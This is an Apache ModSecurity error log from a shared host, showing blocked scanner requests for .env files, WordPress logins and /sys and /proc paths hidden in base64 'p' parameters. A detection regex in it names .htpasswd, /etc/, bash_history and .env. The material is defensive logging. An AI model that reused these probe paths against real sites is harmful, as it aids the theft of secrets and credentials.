https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:10.476869 2026] [security2:error] [pid 646876:tid 647073] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker/compose/withMongo/.env"] [unique_id "ai3zBtyTkdrNlD40tSGtNQAAAEE"] [Sat Jun 13 18:17:10.577872 2026] [security2:error] [pid 648189:tid 648226] [remote 17.22.253.169:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zBlWSojQL4F7upKBjHgAAjwY"] [Sat Jun 13 18:17:10.615972 2026] [security2:error] [pid 646876:tid 647030] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker/compose/withPostgres/.env"] [unique_id "ai3zBtyTkdrNlD40tSGtNgAAABY"] [Sat Jun 13 18:17:10.676024 2026] [security2:error] [pid 646876:tid 646927] [remote 17.246.15.81:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 81.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zBtyTkdrNlD40tSGtNwAAMjA"] [Sat Jun 13 18:17:10.755537 2026] [security2:error] [pid 646876:tid 647024] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker/database/.env"] [unique_id "ai3zBtyTkdrNlD40tSGtOgAAABA"] [Sat Jun 13 18:17:10.811241 2026] [access_compat:error] [pid 648189:tid 648334] [remote 74.7.242.16:58742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:17:10.811520 2026] [access_compat:error] [pid 648189:tid 648334] [remote 74.7.242.16:58742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:17:10.896865 2026] [security2:error] [pid 646876:tid 647110] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker/db/.env"] [unique_id "ai3zBtyTkdrNlD40tSGtPAAAAGY"] [Sat Jun 13 18:17:10.936979 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:17:10.937441 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:17:11.035769 2026] [security2:error] [pid 646876:tid 647048] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker/dev/.env"] [unique_id "ai3zB9yTkdrNlD40tSGtQAAAACg"] [Sat Jun 13 18:17:11.119347 2026] [access_compat:error] [pid 646876:tid 646985] [remote 57.141.14.54:29847] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:11.119611 2026] [access_compat:error] [pid 646876:tid 646985] [remote 57.141.14.54:29847] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:11.162091 2026] [security2:error] [pid 648189:tid 648425] [client 34.23.213.224:33162] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zB1WSojQL4F7upKBjLQAAAMw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:11.174677 2026] [security2:error] [pid 646876:tid 647042] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker/examples/compose/.env"] [unique_id "ai3zB9yTkdrNlD40tSGtQwAAACI"] [Sat Jun 13 18:17:11.313163 2026] [security2:error] [pid 646876:tid 647061] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker/postgres/.env"] [unique_id "ai3zB9yTkdrNlD40tSGtRQAAADU"] [Sat Jun 13 18:17:11.321569 2026] [security2:error] [pid 648189:tid 648383] [client 34.23.213.224:33168] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zB1WSojQL4F7upKBjMAAAAKM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:11.350952 2026] [security2:error] [pid 646876:tid 647111] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/math/sinh_basiclong_64bit.phpt"] [unique_id "ai3zB9yTkdrNlD40tSGtRgAAAGc"] [Sat Jun 13 18:17:11.366020 2026] [security2:error] [pid 648189:tid 648462] [client 34.23.213.224:33172] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zB1WSojQL4F7upKBjMQAAAOw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:11.452530 2026] [security2:error] [pid 646876:tid 647021] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker/webdav/.env"] [unique_id "ai3zB9yTkdrNlD40tSGtSAAAAA0"] [Sat Jun 13 18:17:11.458402 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMS9pZA== [Sat Jun 13 18:17:11.458668 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMS9pZA== [Sat Jun 13 18:17:11.482707 2026] [security2:error] [pid 646876:tid 647055] [client 34.23.213.224:33184] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zB9yTkdrNlD40tSGtSgAAAC8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:11.492276 2026] [security2:error] [pid 648189:tid 648283] [remote 17.22.253.102:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zB1WSojQL4F7upKBjOAAAyD0"] [Sat Jun 13 18:17:11.494621 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.55:65271] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:11.494897 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.55:65271] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:11.536685 2026] [security2:error] [pid 648189:tid 648486] [client 34.23.213.224:33192] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zB1WSojQL4F7upKBjPAAAAQQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:11.592409 2026] [security2:error] [pid 646876:tid 647043] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docs/.env"] [unique_id "ai3zB9yTkdrNlD40tSGtTQAAACM"] [Sat Jun 13 18:17:11.687297 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.5:21697] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:11.687593 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.5:21697] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:11.732053 2026] [security2:error] [pid 646876:tid 647119] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/dodoswap-client/.env"] [unique_id "ai3zB9yTkdrNlD40tSGtUAAAAG8"] [Sat Jun 13 18:17:11.822914 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.34:32742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:11.823350 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.34:32742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:11.831833 2026] [security2:error] [pid 648189:tid 648302] [remote 17.22.237.62:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 62.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zB1WSojQL4F7upKBjUQAA41A"] [Sat Jun 13 18:17:11.852588 2026] [security2:error] [pid 648189:tid 648348] [remote 2a06:5906:602:a200:7d5b:641f:5483:61c0:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zB1WSojQL4F7upKBjUgAAon0"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:11.852632 2026] [security2:error] [pid 648189:tid 648348] [remote 2a06:5906:602:a200:7d5b:641f:5483:61c0:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zB1WSojQL4F7upKBjUgAAon0"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:11.871685 2026] [security2:error] [pid 646876:tid 647122] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/dotfiles/.env"] [unique_id "ai3zB9yTkdrNlD40tSGtVwAAAHI"] [Sat Jun 13 18:17:11.972807 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.74:61596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:11.973274 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.74:61596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:12.018914 2026] [security2:error] [pid 646876:tid 647078] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/download/.env"] [unique_id "ai3zCNyTkdrNlD40tSGtWwAAAEY"] [Sat Jun 13 18:17:12.027963 2026] [access_compat:error] [pid 646876:tid 646879] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:17:12.028559 2026] [access_compat:error] [pid 646876:tid 646879] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:17:12.152021 2026] [security2:error] [pid 646876:tid 646980] [remote 17.241.75.27:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zCNyTkdrNlD40tSGtXwAAH2U"] [Sat Jun 13 18:17:12.157840 2026] [security2:error] [pid 646876:tid 647099] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/downloads/.env"] [unique_id "ai3zCNyTkdrNlD40tSGtYAAAAFs"] [Sat Jun 13 18:17:12.235761 2026] [core:error] [pid 646876:tid 647088] [client 48.192.92.16:1345] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:17:12.235788 2026] [core:error] [pid 646876:tid 647088] [client 48.192.92.16:1345] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:17:12.287304 2026] [access_compat:error] 